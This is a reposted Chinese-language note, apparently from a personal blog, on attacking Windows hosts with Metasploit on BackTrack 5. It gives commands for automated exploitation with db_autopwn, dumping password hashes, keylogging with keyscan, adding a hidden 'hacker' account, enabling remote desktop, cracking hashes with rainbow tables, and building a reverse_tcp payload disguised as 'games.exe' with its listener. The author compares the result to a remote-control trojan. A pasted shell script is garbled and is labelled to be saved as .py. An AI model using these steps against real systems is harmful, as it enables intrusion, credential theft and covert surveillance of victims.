bt5 note [5] msf运用层攻击

来源:互联网 发布:node.js适用场景 编辑:程序博客网 时间:2024/05/17 02:29

MSF 图形话界面:armitage

一、连环攻击

      hosts (代替了db_hosts)  (上次扫描的结果放入数据库,可以直接hosts -h查看更多选项)

      hosts -d (db_del_host 192.168.1.104 )  (清空数据库)

      services(代替了 db_services) (查看数据库服务)

     db_nmap

调用nmap来扫描,扫描后的信息保存到数据库,以便于自动攻击      

      db_nmap -T Aggressive -sV -n -o -v 192.168.1.104

           参数说明:

Aggressive 表示速率最快的 

-sV (service & version 判断服务和版本)

-n 不做DNS解析

-v 显示整个扫描结果


 db_autopwn -p -t -I 192.168.1.104 -e 

   稍等会就会执行了 

安装db_autopwn 自动攻击模块 最新版本的msf没有了自动攻击模块,原因据说是会造成目标主机崩溃!但很多时候这个功能还是挺方便的~cd /opt/metasploit/msf3svn update下载db_autopwn.rb (http://download.csdn.net/detail/wuhualong1314/4421803)copy到/opt/metasploit/msf3/plugins进入msfconsole输入:load db_autopwn这样就可以还原db_autopwn这一经典利用
如果你的MSF DB_autopwn出错误可以试试这个#!/bin/shexport BASE=`dirname $0`export PATH="${BASE}/bin":$PATHexport LD_LIBRARY_PATH="${BASE}/lib":$LD_LIBRARY_PATHexport GEM_HOME="${BASE}/lib/ruby/gems/1.9.1/gems/"export GEM_PATH="${BASE}/lib/ruby/gems/1.9.1/gems/"unset MY_RUBY_HOMEunset RUBY_VERSIONunset RUBY_OPTS "$@"   保存为 *.py 然后执行一下


    参数说明: 

-p 自动根据开发的端口 选择相应的模块

  -t  显示所有的匹配的漏洞模块 

-I  目标主机的范围

       -e 执行 

     

getuid

查看当前的用户

sysinfo

查看系统信息

run hashdump (当前用户必须对HKEY_LOCAL_MACHINE\SAM\SAM有访问权限,script requires the use of a SYSTEM user context (hint: migrate into service process,

但是 使用教主的BT5系统SAM 没有权限也可以 获取 很奇怪 )

获取账号的hash值 以便暴力破解

migrate PID (找到explore.exe这个高的进程 迁移进去 就可以从普通帐户到管理员了, 我现在是没有账号,

但是我现在已经是管理员登录的了,就可以创建一个管理员的账号,但是最好是 把管理员的权限克隆给内建账户 如guest,但是也可以是su hidden)


添加用户 run getgui -u hacker -p 123 (meterpreter下)

keysan_start (键盘扫描)

keyscan_dump (查看键盘输入)

keyscan_stop (停止键盘记录)

run getgui -e(打开远程桌面 : 也就是计算机-属性-高级-允许对方远程桌面连接连接 和 Terminal Services service start)

rdesttop 192.168.1.104 运行远程桌面

ophcrack

暴力破解,专门针对micro的系统

ophcrack -g -d /home/tables_xp_free_small/ -t /home/tables_xp_free_small/ -f /home/sam_value

彩虹表: 

    http://115.com/file/beneym39#tables-xp-free-fast.zip

    http://115.com/file/an8nvq0k#tables-xp-free-small.zip

二、离线攻击

msfpayload

       生成负载 服务器程序 

       =》msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=3333 X > /home/tmp/games.exe

     建立服务器

     

msf > use exploit/multi/handlermsf  exploit(handler) > show optionsModule options (exploit/multi/handler):   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Exploit target:   Id  Name   --  ----   0   Wildcard Targetmsf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf  exploit(handler) > set LHOST 192.168.0.107LHOST => 192.168.0.107msf  exploit(handler) > set LPORT 3333LPORT => 3333msf  exploit(handler) > show optionso[-] Invalid parameter "optionso", use "show -h" for more informationmsf  exploit(handler) > show optionsModule options (exploit/multi/handler):   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (windows/meterpreter/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  process          yes       Exit technique: seh, thread, process, none   LHOST     192.168.0.107    yes       The listen address   LPORT     3333             yes       The listen portExploit target:   Id  Name   --  ----   0   Wildcard Targetmsf  exploit(handler) > exploit -j

其实就和灰鸽子一个道理 建立反向连接 去控制



原创粉丝点击